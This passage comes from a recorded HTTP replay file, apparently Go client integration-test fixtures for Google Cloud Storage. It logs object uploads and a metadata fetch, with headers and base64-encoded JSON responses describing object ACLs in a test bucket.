Y4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiQ1Q2ZFRBPT0iLCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9" - } - }, - { - "ID": "34a1730e8bbe1d09", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoib2JqMiJ9Cg==", - "55GZ37DvGFQS3PnkEKv3Jg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3150" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:05 GMT" - ], - "Etag": [ - "CJ2Xkrzx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoVrbP1vUH6TU_zfm_Aaca624z-91MoULnLIBcn9Hg4htv5T5Z6B4XYJMFZUuDjWWeBhR6EpG1UZL4iJe0TJybYQ2CCsB_k63CcOex39xaOIT8UYUA" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyIiwibmFtZSI6Im9iajIiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTA0OTI0NSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS4wNDhaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuMDQ4WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjA0OFoiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiQ0Mxd2x3ck1PSXEwZHZNa015bFVoZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajI/Z2VuZXJhdGlvbj0xNTU2ODM1ODQ1MDQ5MjQ1JmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajIvMTU1NjgzNTg0NTA0OTI0NS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0oyWGtyengvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajIvMTU1NjgzNTg0NTA0OTI0NS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMi9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajIiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTA0OTI0NSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajIvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0oyWGtyengvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajIvMTU1NjgzNTg0NTA0OTI0NS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMi9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajIiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTA0OTI0NSIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoialY1QVZRPT0iLCJldGFnIjoiQ0oyWGtyengvZUVDRUFFPSJ9" - } - }, - { - "ID": "b7c2c8ec1e65fb6d", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoib2JqL3dpdGgvc2xhc2hlcyJ9Cg==", - "kT7fkMXrRdrhn2P2+EeT5g==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3366" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:05 GMT" - ], - "Etag": [ - "COqurrzx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrEgFAbU2gAqyKMITI9vr9kAgIBfNY3ZGs1l2_X4e-fVtNb01M9N81N-83LdChVzrk8iB09yuKUKdxRc0nMYrgy7S1fqPwbJdsQ6TJfMB05JJj6qr4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcyIsIm5hbWUiOiJvYmovd2l0aC9zbGFzaGVzIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDU1MTEwMTgiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuNTEwWiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjUxMFoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS41MTBaIiwic2l6ZSI6IjE2IiwibWQ1SGFzaCI6InVlei9oSjZ3QXJlRFFuY2NEVWR4Zmc9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcz9nZW5lcmF0aW9uPTE1NTY4MzU4NDU1MTEwMTgmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmovd2l0aC9zbGFzaGVzIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDU1MTEwMTgiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ09xdXJyengvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iai93aXRoL3NsYXNoZXMvMTU1NjgzNTg0NTUxMTAxOC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqJTJGd2l0aCUyRnNsYXNoZXMvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmovd2l0aC9zbGFzaGVzIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDU1MTEwMTgiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcy9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNPcXVycnp4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoib2VvK0ZBPT0iLCJldGFnIjoiQ09xdXJyengvZUVDRUFFPSJ9" - } - }, - { - "ID": "0dbae3d4b454f434", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/obj%2Fwith%2Fslashes?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3366" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:05 GMT" - ], - "Etag": [ - "COqurrzx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqk7CzWGAqaT12X_fTymveyPtsPJIPHD814QaAOIQLA_AJo_4OtnQOOXJM2jJhIZ1Co4NgEmboDUG9su4SN5fDTHObNh9elLts9VpUJ9iSYrIsn-Os" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcyIsIm5hbWUiOiJvYmovd2l0aC9zbGFzaGVzIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDU1MTEwMTgiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuNTEwWiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjUxMFoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS41MTBaIiwic2l6ZSI6IjE2IiwibWQ1SGFzaCI6InVlei9oSjZ3QXJlRFFuY2NEVWR4Zmc9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcz9nZW5lcmF0aW9uPTE1NTY4MzU4NDU1MTEwMTgmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3Byb2plY3Qtb3duZX